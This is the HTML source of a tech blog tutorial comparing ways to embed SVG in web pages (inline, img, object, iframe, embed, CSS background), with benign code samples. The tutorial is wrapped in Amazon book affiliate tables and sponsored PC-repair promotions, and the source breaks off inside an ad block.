Home › Blog How to Embed SVG in HTML: Inline, , , , and CSS</h1> <p class="dek post-dek">A practical guide to embedding SVG in HTML, comparing every method for DOM access, styling, accessibility, caching, security, fallback, and responsive sizing.</p> <div class="byline itgp-byline"> <a class="byline-avatar" href="https://www.itechguides.com/author/itechguidesteam/" tabindex="-1" aria-hidden="true"><img loading="eager" alt='' src='https://www.itechguides.com/wp-content/themes/itg-prime/assets/avatar/itechguides-team-96.png' srcset='https://www.itechguides.com/wp-content/themes/itg-prime/assets/avatar/itechguides-team-96.png 2x' class='avatar avatar-44 photo' height='44' width='44' /></a> <div class="byline-copy"> <a class="byline-author" href="https://www.itechguides.com/author/itechguidesteam/" rel="author">iTechGuides Team</a> <span class="byline-facts"> <span>iTechGuides</span> <span class="byline-dot" aria-hidden="true">·</span> <time datetime="2026-09-30T05:22:56+01:00">September 30, 2026</time> <span class="byline-dot" aria-hidden="true">·</span> <span>11 min read</span> </span> </div> </div> </header> <div class="entry-content post-content article-content dynamic-entry-content itgw-prose"> <div class="ym-p3-server-gate dyn-kna33o-universal-card dyn-kna33o-inline-style5" data-ym-phase="3" data-ym-p3-surface="inline_first_style5" data-ym-p3-product="multi" data-ym-p3-impression="p3-itechguides-inline_first_style5-multi-876392-03bf67848f"><button class="dyn-kna33o-close-btn" type="button" aria-label="Close">×</button><p class="dyn-kna33o-check-head">Quick wins for a faster PC:</p><a href="https://outebytech.com/FrDNGyzK?sub_id_3=itechguides&sub_id_4=inline_first_style5" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="pc_fix" data-ym-p3-surface="inline_first_style5" data-ym-p3-impression="p3-itechguides-inline_first_style5-pc_fix-876392-6240173345" class="dyn-kna33o-check-row dyn-kna33o-pc-fix" data-wpel-link="internal"><span class="dyn-kna33o-check-mark"><svg viewBox="0 0 24 24" width="15" height="15" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M20 6L9 17l-5-5"/></svg></span><span class="dyn-kna33o-check-text">Clear out junk files and repair common Windows errors</span><span class="dyn-kna33o-pill">Free Scan →</span></a><a href="https://outebytech.com/ZTcPH88W?sub_id_3=itechguides&sub_id_4=inline_first_style5" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="driver" data-ym-p3-surface="inline_first_style5" data-ym-p3-impression="p3-itechguides-inline_first_style5-driver-876392-2a3d471e6a" class="dyn-kna33o-check-row dyn-kna33o-driver-update" data-wpel-link="internal"><span class="dyn-kna33o-check-mark"><svg viewBox="0 0 24 24" width="15" height="15" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M20 6L9 17l-5-5"/></svg></span><span class="dyn-kna33o-check-text">Scan for outdated or missing drivers - takes under a minute</span><span class="dyn-kna33o-pill">Driver Scan →</span></a><a href="https://outebytech.com/FrDNGyzK?sub_id_3=itechguides&sub_id_4=inline_first_style5" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="pc_fix" data-ym-p3-surface="inline_first_style5" data-ym-p3-impression="p3-itechguides-inline_first_style5-pc_fix-876392-a77b17971c" class="dyn-kna33o-check-row dyn-kna33o-pc-fix" data-wpel-link="internal"><span class="dyn-kna33o-check-mark"><svg viewBox="0 0 24 24" width="15" height="15" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M20 6L9 17l-5-5"/></svg></span><span class="dyn-kna33o-check-text">Repair Windows errors before they cause bigger problems</span><span class="dyn-kna33o-pill">Fix Now →</span></a></div><div class="ym-p3-server-gate dyn-kna33o-compliance-note">Special offer. See more information about <a href="https://outbyte.com/" target="_blank" rel="nofollow noopener">Outbyte</a> and <a href="https://outbyte.com/en/how-to-uninstall" target="_blank" rel="nofollow noopener">uninstall instructions</a>. Please review <a href="https://outbyte.com/en/license" target="_blank" rel="nofollow noopener">EULA</a> and <a href="https://outbyte.com/en/privacy" target="_blank" rel="nofollow noopener">Privacy policy</a>.</div><p>Use an inline <code><svg></code> when page CSS or JavaScript must reach individual SVG elements. Use <code><img src="graphic.svg"></code> for a normal, cacheable image. Use <code><object></code>, <code><iframe></code>, or <code><embed></code> when the SVG should load as a separate document, and use a CSS background for decoration that needs no text alternative or interaction.</p> <h2><span class="ez-toc-section" id="Choose_the_embedding_method_by_what_the_SVG_must_do"></span>Choose the embedding method by what the SVG must do<span class="ez-toc-section-end"></span></h2> <p>SVG is XML-based markup, but the browser can treat it either as part of the current HTML document or as an image/document loaded from another URL. That decision controls styling, scripting, accessibility, caching, isolation, fallback behavior, and sizing.</p><!-- YM_DONATION_SCOPE_KOFI_FLOAT_20260610B --><div class="ym-donation-kofi-quick-wrap" data-ym-kofi-quick><span class="ym-donation-kofi-quick"><a class="ym-donation-kofi-float" href="https://ko-fi.com/yorkermedia" target="_blank" rel="noopener nofollow" aria-label="Support us on Ko-Fi"><span class="ym-donation-kofi-float__text">Guide Helped? Tip Us</span></a><button class="ym-donation-kofi-quick__close" type="button" data-ym-kofi-dismiss aria-label="Close support link"><span aria-hidden="true">×</span></button></span></div> <div class="yorker-top ym-aawp-phase2-top"> <div class="aawp"> <table class="aawp-table"> <thead> <tr> <th class="aawp-table__th-position">#</th> <th class="aawp-table__th-thumb">Preview</th> <th class="aawp-table__th-title">Product</th> <th class="aawp-table__th-pricing">Price</th> <th class="aawp-table__th-links"></th> </tr> </thead> <tbody> <tr class="aawp-product aawp-product--ribbon aawp-product--sale aawp-product--bestseller" data-aawp-product-id="1118008189" data-aawp-product-title="HTML and CSS Design and Build Websites" data-aawp-geotargeting="true"> <td class="aawp-table__td-position" data-label="Bestseller No.">1</td> <td class="aawp-table__td-thumb" data-label="Preview"> <a href="https://www.amazon.com/dp/1118008189?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="HTML and CSS: Design and Build Websites" rel="nofollow noopener sponsored" target="_blank"> <img loading="eager" class="aawp-product__img" src="https://m.media-amazon.com/images/I/31EDwrw2voL._SL160_.jpg" alt="HTML and CSS: Design and Build Websites" /> </a> </td> <td class="aawp-table__td-title" data-label="Product"> <a class="aawp-product__title" href="https://www.amazon.com/dp/1118008189?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="HTML and CSS: Design and Build Websites" rel="nofollow noopener sponsored" target="_blank">HTML and CSS: Design and Build Websites </a> </td> <td class="aawp-table__td-pricing" data-label="Price"> <span class="aawp-product__price">$15.75</span> </td> <td class="aawp-table__td-links" data-label="Link"> <a class="aawp-button aawp-button--buy aawp-button aawp-button--amazon aawp-button--icon aawp-button--icon-amazon-black ym-phase2-top-cta" href="https://www.amazon.com/dp/1118008189?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="Buy on Amazon" target="_blank" rel="nofollow noopener sponsored">Buy on Amazon</a> </td> </tr> <tr class="aawp-product aawp-product--bestseller aawp-product--ribbon" data-aawp-product-id="B0F446JZT1" data-aawp-product-title="HTML & CSS Web Design for Beginners A Comprehensive Step-by-Step Starter Guide to Designing Responsive Dynamic and Modern Websites Programming for Beginners" data-aawp-geotargeting="true"> <td class="aawp-table__td-position" data-label="Bestseller No.">2</td> <td class="aawp-table__td-thumb" data-label="Preview"> <a href="https://www.amazon.com/dp/B0F446JZT1?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="HTML & CSS Web Design for Beginners: A Comprehensive Step-by-Step Starter Guide to Designing Responsive, Dynamic, and Modern Websites (Programming for Beginners)" rel="nofollow noopener sponsored" target="_blank"> <img loading="eager" class="aawp-product__img" src="https://m.media-amazon.com/images/I/41dAuAcNKXL._SL160_.jpg" alt="HTML & CSS Web Design for Beginners: A Comprehensive Step-by-Step Starter Guide to Designing Responsive, Dynamic, and Modern Websites (Programming for Beginners)" /> </a> </td> <td class="aawp-table__td-title" data-label="Product"> <a class="aawp-product__title" href="https://www.amazon.com/dp/B0F446JZT1?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="HTML & CSS Web Design for Beginners: A Comprehensive Step-by-Step Starter Guide to Designing Responsive, Dynamic, and Modern Websites (Programming for Beginners)" rel="nofollow noopener sponsored" target="_blank">HTML & CSS Web Design for Beginners: A Comprehensive Step-by-Step Starter Guide to Designing... </a> </td> <td class="aawp-table__td-pricing" data-label="Price"> <span class="aawp-product__price">$19.99</span> </td> <td class="aawp-table__td-links" data-label="Link"> <a class="aawp-button aawp-button--buy aawp-button aawp-button--amazon aawp-button--icon aawp-button--icon-amazon-black ym-phase2-top-cta" href="https://www.amazon.com/dp/B0F446JZT1?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="Buy on Amazon" target="_blank" rel="nofollow noopener sponsored">Buy on Amazon</a> </td> </tr> <tr class="aawp-product aawp-product--ribbon aawp-product--sale aawp-product--bestseller" data-aawp-product-id="1636100007" data-aawp-product-title="HTML and CSS QuickStart Guide The Simplified Beginners Guide to Developing a Strong Coding Foundation Building Responsive Websites and Mastering .. Coding & Programming - QuickStart Guides" data-aawp-geotargeting="true"> <td class="aawp-table__td-position" data-label="Bestseller No.">3</td> <td class="aawp-table__td-thumb" data-label="Preview"> <a href="https://www.amazon.com/dp/1636100007?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="HTML and CSS QuickStart Guide: The Simplified Beginners Guide to Developing a Strong Coding Foundation, Building Responsive Websites, and Mastering ... (Coding & Programming - QuickStart Guides)" rel="nofollow noopener sponsored" target="_blank"> <img loading="eager" class="aawp-product__img" src="https://m.media-amazon.com/images/I/51JT5GCQS0L._SL160_.jpg" alt="HTML and CSS QuickStart Guide: The Simplified Beginners Guide to Developing a Strong Coding Foundation, Building Responsive Websites, and Mastering ... (Coding & Programming - QuickStart Guides)" /> </a> </td> <td class="aawp-table__td-title" data-label="Product"> <a class="aawp-product__title" href="https://www.amazon.com/dp/1636100007?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="HTML and CSS QuickStart Guide: The Simplified Beginners Guide to Developing a Strong Coding Foundation, Building Responsive Websites, and Mastering ... (Coding & Programming - QuickStart Guides)" rel="nofollow noopener sponsored" target="_blank">HTML and CSS QuickStart Guide: The Simplified Beginners Guide to Developing a Strong Coding... </a> </td> <td class="aawp-table__td-pricing" data-label="Price"> <span class="aawp-product__price">$23.25</span> </td> <td class="aawp-table__td-links" data-label="Link"> <a class="aawp-button aawp-button--buy aawp-button aawp-button--amazon aawp-button--icon aawp-button--icon-amazon-black ym-phase2-top-cta" href="https://www.amazon.com/dp/1636100007?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="Buy on Amazon" target="_blank" rel="nofollow noopener sponsored">Buy on Amazon</a> </td> </tr> <tr class="aawp-product aawp-product--ribbon aawp-product--sale aawp-product--bestseller" data-aawp-product-id="1118907442" data-aawp-product-title="Web Design with HTML CSS JavaScript and jQuery Set" data-aawp-geotargeting="true"> <td class="aawp-table__td-position" data-label="Bestseller No.">4</td> <td class="aawp-table__td-thumb" data-label="Preview"> <a href="https://www.amazon.com/dp/1118907442?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="Web Design with HTML, CSS, JavaScript and jQuery Set" rel="nofollow noopener sponsored" target="_blank"> <img loading="eager" class="aawp-product__img" src="https://m.media-amazon.com/images/I/41X2i47NXUL._SL160_.jpg" alt="Web Design with HTML, CSS, JavaScript and jQuery Set" /> </a> </td> <td class="aawp-table__td-title" data-label="Product"> <a class="aawp-product__title" href="https://www.amazon.com/dp/1118907442?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="Web Design with HTML, CSS, JavaScript and jQuery Set" rel="nofollow noopener sponsored" target="_blank">Web Design with HTML, CSS, JavaScript and jQuery Set </a> </td> <td class="aawp-table__td-pricing" data-label="Price"> <span class="aawp-product__price">$35.05</span> </td> <td class="aawp-table__td-links" data-label="Link"> <a class="aawp-button aawp-button--buy aawp-button aawp-button--amazon aawp-button--icon aawp-button--icon-amazon-black ym-phase2-top-cta" href="https://www.amazon.com/dp/1118907442?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="Buy on Amazon" target="_blank" rel="nofollow noopener sponsored">Buy on Amazon</a> </td> </tr> <tr class="aawp-product aawp-product--ribbon aawp-product--sale aawp-product--bestseller" data-aawp-product-id="1394164688" data-aawp-product-title="HTML CSS & JavaScript All-in-One For Dummies" data-aawp-geotargeting="true"> <td class="aawp-table__td-position" data-label="Bestseller No.">5</td> <td class="aawp-table__td-thumb" data-label="Preview"> <a href="https://www.amazon.com/dp/1394164688?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="HTML, CSS, & JavaScript All-in-One For Dummies" rel="nofollow noopener sponsored" target="_blank"> <img loading="eager" class="aawp-product__img" src="https://m.media-amazon.com/images/I/51rbZQQXlNL._SL160_.jpg" alt="HTML, CSS, & JavaScript All-in-One For Dummies" /> </a> </td> <td class="aawp-table__td-title" data-label="Product"> <a class="aawp-product__title" href="https://www.amazon.com/dp/1394164688?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="HTML, CSS, & JavaScript All-in-One For Dummies" rel="nofollow noopener sponsored" target="_blank">HTML, CSS, & JavaScript All-in-One For Dummies </a> </td> <td class="aawp-table__td-pricing" data-label="Price"> <span class="aawp-product__price">$23.27</span> </td> <td class="aawp-table__td-links" data-label="Link"> <a class="aawp-button aawp-button--buy aawp-button aawp-button--amazon aawp-button--icon aawp-button--icon-amazon-black ym-phase2-top-cta" href="https://www.amazon.com/dp/1394164688?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="Buy on Amazon" target="_blank" rel="nofollow noopener sponsored">Buy on Amazon</a> </td> </tr> </tbody> </table> </div> </div> <table> <thead> <tr> <th>Method</th> <th>DOM and JavaScript</th> <th>CSS and animation</th> <th>Accessibility</th> <th>Caching and HTML size</th> <th>Isolation and fallback</th> <th>Sizing</th> </tr> </thead> <tbody> <tr> <td>Inline <code><svg></code></td> <td>SVG elements are in the page DOM; page scripts can select them.</td> <td>Page CSS can style individual shapes, and CSS or SMIL animation can target them.</td> <td>Use <code><title></code>, optional <code><desc></code>, and <code>aria-labelledby</code>.</td> <td>Markup increases the HTML response; it is not a separately cached image resource.</td> <td>Shares the page security context; no separate fallback document.</td> <td>Controlled with the SVG <code>viewBox</code> and CSS dimensions.</td> </tr> <tr> <td><code><img></code></td> <td>Image-mode SVG scripts do not run, and links inside it are not activated.</td> <td>Style the replaced element itself, not the SVG’s internal nodes.</td> <td>Provide meaningful <code>alt</code> text, or an empty value when decorative.</td> <td>External file can be cached independently; HTML stays small.</td> <td>Image restrictions provide a simple boundary; no built-in HTML fallback.</td> <td>Use <code>width</code>, <code>height</code>, and the file’s intrinsic ratio.</td> </tr> <tr> <td><code><object></code></td> <td>Loads a separate SVG document; interaction follows document and security rules.</td> <td>Styles inside the SVG document apply there; page CSS does not automatically cross the boundary.</td> <td>Give the SVG a useful label and include fallback content.</td> <td>External file is cacheable; only a small element is in HTML.</td> <td>Supports fallback markup inside the element; separate document context.</td> <td>Set explicit dimensions on the element.</td> </tr> <tr> <td><code><iframe></code></td> <td>Separate browsing context; cross-origin DOM access is restricted.</td> <td>Document has its own CSS and scripts; page styles do not cross the frame boundary.</td> <td>Always provide a descriptive <code>title</code>.</td> <td>External document can be cached; frame adds browsing-context overhead.</td> <td>Can be sandboxed; isolation is strongest among common choices.</td> <td>Set frame dimensions and account for its rectangular viewport.</td> </tr> <tr> <td><code><embed></code></td> <td>External-document behavior; access depends on browser and origin rules.</td> <td>SVG’s own document styles apply.</td> <td>Provide a label such as <code>title</code>.</td> <td>External resource is cacheable.</td> <td>Limited fallback semantics; retained mainly for legacy/general embedding.</td> <td>Set explicit dimensions.</td> </tr> <tr> <td>CSS <code>background-image</code></td> <td>Image-mode restrictions apply: scripts do not run and links are inactive.</td> <td>Useful for decorative backgrounds; internal SVG nodes are not page-DOM targets.</td> <td>No normal image alternative text; supply equivalent text elsewhere when needed.</td> <td>External background can be cached; no HTML markup is added.</td> <td>Image context, with no document fallback.</td> <td>Controlled by CSS background sizing and the element’s box.</td> </tr> </tbody> </table> <h2><span class="ez-toc-section" id="Inline_SVG_best_for_icons_diagrams_and_interactive_graphics"></span>Inline SVG: best for icons, diagrams, and interactive graphics<span class="ez-toc-section-end"></span></h2> <p>Place the SVG markup directly in the HTML when you need to change fills or strokes with page CSS, animate a path, attach event handlers, or update values from JavaScript. The SVG becomes ordinary DOM, so selectors, classes, and event listeners can address its individual elements.</p> <pre><code><svg viewBox="0 0 100 100" role="img" aria-labelledby="chart-title chart-desc"> <title id="chart-title">Quarterly sales trend</title> <desc id="chart-desc">A line rises from Q1 through Q4.</desc> <path d="M10 80 L35 60 L60 65 L90 20" fill="none" stroke="currentColor" stroke-width="3" /> </svg></code></pre> <p>The <code>viewBox</code> defines the internal coordinate system. The browser scales that coordinate system to the rendered box, so the same drawing can remain sharp at different sizes. <code>currentColor</code> makes the stroke follow the surrounding element’s text color.</p><div class="ym-p3-server-gate dyn-kna33o-universal-card dyn-kna33o-inline-style9" data-ym-phase="3" data-ym-p3-surface="inline_after_4_style9" data-ym-p3-product="multi" data-ym-p3-impression="p3-itechguides-inline_after_4_style9-multi-876392-97734c7b6e"><button class="dyn-kna33o-close-btn" type="button" aria-label="Close">×</button><p class="dyn-kna33o-qa-q">What’s actually slowing this PC down?</p><p class="dyn-kna33o-qa-sub">Pick the symptom - the matching free tool is one click away.</p><div class="dyn-kna33o-qa-options"><a href="https://outebytech.com/ZTcPH88W?sub_id_3=itechguides&sub_id_4=inline_style9" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="driver" data-ym-p3-surface="inline_after_4_style9" data-ym-p3-impression="p3-itechguides-inline_after_4_style9-driver-876392-3daf560066" class="dyn-kna33o-qa-opt dyn-kna33o-driver-update" data-wpel-link="internal"><span class="dyn-kna33o-tile"><svg viewBox="0 0 24 24" width="20" height="20" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><rect x="5" y="5" width="14" height="14" rx="2"/><rect x="10" y="10" width="4" height="4"/><path d="M9 2v3M15 2v3M9 19v3M15 19v3M2 9h3M2 15h3M19 9h3M19 15h3"/></svg></span><span class="dyn-kna33o-qa-opt-text"><span class="dyn-kna33o-qa-opt-label">Outdated drivers</span><span class="dyn-kna33o-qa-opt-hint">Free fix →</span></span></a><a href="https://outebytech.com/FrDNGyzK?sub_id_3=itechguides&sub_id_4=inline_style9" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="pc_fix" data-ym-p3-surface="inline_after_4_style9" data-ym-p3-impression="p3-itechguides-inline_after_4_style9-pc_fix-876392-528fa81dbb" class="dyn-kna33o-qa-opt dyn-kna33o-pc-fix" data-wpel-link="internal"><span class="dyn-kna33o-tile"><svg viewBox="0 0 24 24" width="20" height="20" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M14.7 6.3a4.8 4.8 0 0 0-6.4 6.4L3 18l3 3 5.3-5.3a4.8 4.8 0 0 0 6.4-6.4l-3 3-2.1-2.1 3.1-2.9z"/></svg></span><span class="dyn-kna33o-qa-opt-text"><span class="dyn-kna33o-qa-opt-label">System errors & instability</span><span class="dyn-kna33o-qa-opt-hint">Free fix →</span></span></a><a href="https://outebytech.com/FrDNGyzK?sub_id_3=itechguides&sub_id_4=inline_style9" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="pc_fix" data-ym-p3-surface="inline_after_4_style9" data-ym-p3-impression="p3-itechguides-inline_after_4_style9-pc_fix-876392-8fe893c7d2" class="dyn-kna33o-qa-opt dyn-kna33o-pc-fix" data-wpel-link="internal"><span class="dyn-kna33o-tile"><svg viewBox="0 0 24 24" width="20" height="20" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M14.7 6.3a4.8 4.8 0 0 0-6.4 6.4L3 18l3 3 5.3-5.3a4.8 4.8 0 0 0 6.4-6.4l-3 3-2.1-2.1 3.1-2.9z"/></svg></span><span class="dyn-kna33o-qa-opt-text"><span class="dyn-kna33o-qa-opt-label">Junk files & broken settings</span><span class="dyn-kna33o-qa-opt-hint">Free fix →</span></span></a><a href="https://outebytech.com/ZTcPH88W?sub_id_3=itechguides&sub_id_4=inline_style9" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="driver" data-ym-p3-surface="inline_after_4_style9" data-ym-p3-impression="p3-itechguides-inline_after_4_style9-driver-876392-c6d44add2a" class="dyn-kna33o-qa-opt dyn-kna33o-driver-update" data-wpel-link="internal"><span class="dyn-kna33o-tile"><svg viewBox="0 0 24 24" width="20" height="20" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><rect x="5" y="5" width="14" height="14" rx="2"/><rect x="10" y="10" width="4" height="4"/><path d="M9 2v3M15 2v3M9 19v3M15 19v3M2 9h3M2 15h3M19 9h3M19 15h3"/></svg></span><span class="dyn-kna33o-qa-opt-text"><span class="dyn-kna33o-qa-opt-label">Crashes & glitches</span><span class="dyn-kna33o-qa-opt-hint">Free fix →</span></span></a></div></div><div class="ym-p3-server-gate dyn-kna33o-compliance-note">Special offer. See more information about <a href="https://outbyte.com/" target="_blank" rel="nofollow noopener">Outbyte</a> and <a href="https://outbyte.com/en/how-to-uninstall" target="_blank" rel="nofollow noopener">uninstall instructions</a>. Please review <a href="https://outbyte.com/en/license" target="_blank" rel="nofollow noopener">EULA</a> and <a href="https://outbyte.com/en/privacy" target="_blank" rel="nofollow noopener">Privacy policy</a>.</div> <div class="yorker-box ym-aawp-phase2-box"><h5>#1 Best Overall</h5> <div class="aawp"> <div class="aawp-product aawp-product--horizontal aawp-product--ribbon aawp-product--sale" data-aawp-product-id="1118008189" data-aawp-product-title="HTML and CSS Design and Build Websites" data-aawp-geotargeting="true"> <span class="aawp-product__ribbon aawp-product__ribbon--sale">Sale</span> <div class="aawp-product__thumb"> <a class="aawp-product__image-link" href="https://www.amazon.com/dp/1118008189?tag=itechguides04-20&linkCode=ogi&th=1&psc=1" title="HTML and CSS: Design and Build Websites" rel="nofollow noopener sponsored" target="_blank"> <img loading="eager" class="aawp-product__image" src="https://m.media-amazon.com/images/I/31EDwrw2voL._SL160_.jpg" alt="HTML and CSS: Design and Build Websites" /> </a> </div> <div class="aawp-product__content"> <a class="aawp-product__title" href="https://www.amazon.com/dp/1118008189?tag=itechguides04-20&linkCode=ogi&th=1&psc=1" title="HTML and CSS: Design and Build Websites" rel="nofollow noopener sponsored" target="_blank"> HTML and CSS: Design and Build Websites </a> <div class="aawp-product__description"> <ul><li>HTML CSS Design and Build Web Sites</li><li>Comes with secure packaging</li><li>It can be a gift option</li></ul> </div> </div> <div class="aawp-product__footer"> <div class="aawp-product__pricing"> <span class="aawp-product__price aawp-product__price--current">$15.75</span> </div> <a class="aawp-button aawp-button--buy aawp-button aawp-button--amazon aawp-button--icon aawp-button--icon-amazon-black ym-phase2-top-cta" href="https://www.amazon.com/dp/1118008189?tag=itechguides04-20&linkCode=ogi&th=1&psc=1" title="Buy on Amazon" target="_blank" rel="nofollow noopener sponsored">Buy on Amazon</a> </div> </div> </div> </div> <p>Keep IDs unique when several inline copies appear on one page. A duplicate title ID can cause the wrong accessible name to be announced. For state changes, toggle a class on the SVG or a child element and define the visual states in CSS:</p> <pre><code>.status-icon { color: #555; transition: color .2s ease; } .status-icon.is-success { color: #147a3e; } .status-icon path { stroke: currentColor; } const icon = document.querySelector('.status-icon'); icon.classList.add('is-success');</code></pre> <p>Inline markup increases the HTML document, so it is usually most suitable for small reusable symbols, controls, and graphics whose internals genuinely need page access.</p> <h2><span class="ez-toc-section" id="External_SVG_with_the_default_for_a_normal_graphic"></span>External SVG with <code><img></code>: the default for a normal graphic<span class="ez-toc-section-end"></span></h2> <p>For a logo, illustration, or chart that does not need internal interaction, use an image element. The browser can cache the file separately from the page, and the markup is familiar to assistive technology.</p> <pre><code><img src="logo.svg" alt="Acme home page" width="160" height="40" ></code></pre> <p>Write <code>alt</code> to convey the image’s purpose, not its file name. If the SVG is purely decorative beside visible text, use <code>alt=""</code> so a screen reader can skip it. Supplying dimensions reserves the intended space and reduces layout movement, especially when the file has no reliable intrinsic dimensions.</p><div class="ym-p3-server-gate dyn-kna33o-universal-card dyn-kna33o-inline-style4" data-ym-phase="3" data-ym-p3-surface="inline_after_8_style4" data-ym-p3-product="multi" data-ym-p3-impression="p3-itechguides-inline_after_8_style4-multi-876392-cc218718ab"><button class="dyn-kna33o-close-btn" type="button" aria-label="Close">×</button><p class="dyn-kna33o-kicker">The Tool Desk</p><a href="https://outebytech.com/FrDNGyzK?sub_id_3=itechguides&sub_id_4=inline_style4" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="pc_fix" data-ym-p3-surface="inline_after_8_style4" data-ym-p3-impression="p3-itechguides-inline_after_8_style4-pc_fix-876392-42f6121d3e" class="dyn-kna33o-pick-row dyn-kna33o-pc-fix" data-wpel-link="internal"><span class="dyn-kna33o-tile"><svg viewBox="0 0 24 24" width="22" height="22" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M14.7 6.3a4.8 4.8 0 0 0-6.4 6.4L3 18l3 3 5.3-5.3a4.8 4.8 0 0 0 6.4-6.4l-3 3-2.1-2.1 3.1-2.9z"/></svg></span><span class="dyn-kna33o-pick-text"><span class="dyn-kna33o-pick-name">Outbyte PC Repair <span class="dyn-kna33o-free-flag">FREE</span></span><span class="dyn-kna33o-pick-benefit">Clear out junk files and repair common Windows errors</span></span><span class="dyn-kna33o-pill">Free Scan →</span></a><a href="https://outebytech.com/ZTcPH88W?sub_id_3=itechguides&sub_id_4=inline_style4" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="driver" data-ym-p3-surface="inline_after_8_style4" data-ym-p3-impression="p3-itechguides-inline_after_8_style4-driver-876392-c686ada802" class="dyn-kna33o-pick-row dyn-kna33o-driver-update" data-wpel-link="internal"><span class="dyn-kna33o-tile"><svg viewBox="0 0 24 24" width="22" height="22" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><rect x="5" y="5" width="14" height="14" rx="2"/><rect x="10" y="10" width="4" height="4"/><path d="M9 2v3M15 2v3M9 19v3M15 19v3M2 9h3M2 15h3M19 9h3M19 15h3"/></svg></span><span class="dyn-kna33o-pick-text"><span class="dyn-kna33o-pick-name">Outbyte Driver Updater <span class="dyn-kna33o-free-flag">FREE</span></span><span class="dyn-kna33o-pick-benefit">Fix the driver behind crashes, sound loss and screen glitches</span></span><span class="dyn-kna33o-pill">Find Drivers →</span></a></div><div class="ym-p3-server-gate dyn-kna33o-compliance-note">Special offer. See more information about <a href="https://outbyte.com/" target="_blank" rel="nofollow noopener">Outbyte</a> and <a href="https://outbyte.com/en/how-to-uninstall" target="_blank" rel="nofollow noopener">uninstall instructions</a>. Please review <a href="https://outbyte.com/en/license" target="_blank" rel="nofollow noopener">EULA</a> and <a href="https://outbyte.com/en/privacy" target="_blank" rel="nofollow noopener">Privacy policy</a>.</div> <p>In image mode, scripts embedded in the SVG do not execute and links in the SVG are not activated. Page JavaScript can change the <code>img</code> element’s attributes, but it cannot select the SVG’s internal paths as page DOM.</p> <div class="yorker-box ym-aawp-phase2-box"><h5>Rank #2</h5> <div class="aawp"> <div class="aawp-product aawp-product--horizontal" data-aawp-product-id="B0F446JZT1" data-aawp-product-title="HTML & CSS Web Design for Beginners A Comprehensive Step-by-Step Starter Guide to Designing Responsive Dynamic and Modern Websites Programming for Beginners" data-aawp-geotargeting="true"> <div class="aawp-product__thumb"> <a class="aawp-product__image-link" href="https://www.amazon.com/dp/B0F446JZT1?tag=itechguides04-20&linkCode=ogi&th=1&psc=1" title="HTML & CSS Web Design for Beginners: A Comprehensive Step-by-Step Starter Guide to Designing Responsive, Dynamic, and Modern Websites (Programming for Beginners)" rel="nofollow noopener sponsored" target="_blank"> <img loading="eager" class="aawp-product__image" src="https://m.media-amazon.com/images/I/41dAuAcNKXL._SL160_.jpg" alt="HTML & CSS Web Design for Beginners: A Comprehensive Step-by-Step Starter Guide to Designing Responsive, Dynamic, and Modern Websites (Programming for Beginners)" /> </a> </div> <div class="aawp-product__content"> <a class="aawp-product__title" href="https://www.amazon.com/dp/B0F446JZT1?tag=itechguides04-20&linkCode=ogi&th=1&psc=1" title="HTML & CSS Web Design for Beginners: A Comprehensive Step-by-Step Starter Guide to Designing Responsive, Dynamic, and Modern Websites (Programming for Beginners)" rel="nofollow noopener sponsored" target="_blank"> HTML & CSS Web Design for Beginners: A Comprehensive Step-by-Step Starter Guide to Designing Responsive, Dynamic, and Modern Websites (Programming for Beginners) </a> <div class="aawp-product__description"> </div> </div> <div class="aawp-product__footer"> <div class="aawp-product__pricing"> <span class="aawp-product__price aawp-product__price--current">$19.99</span> </div> <a class="aawp-button aawp-button--buy aawp-button aawp-button--amazon aawp-button--icon aawp-button--icon-amazon-black ym-phase2-top-cta" 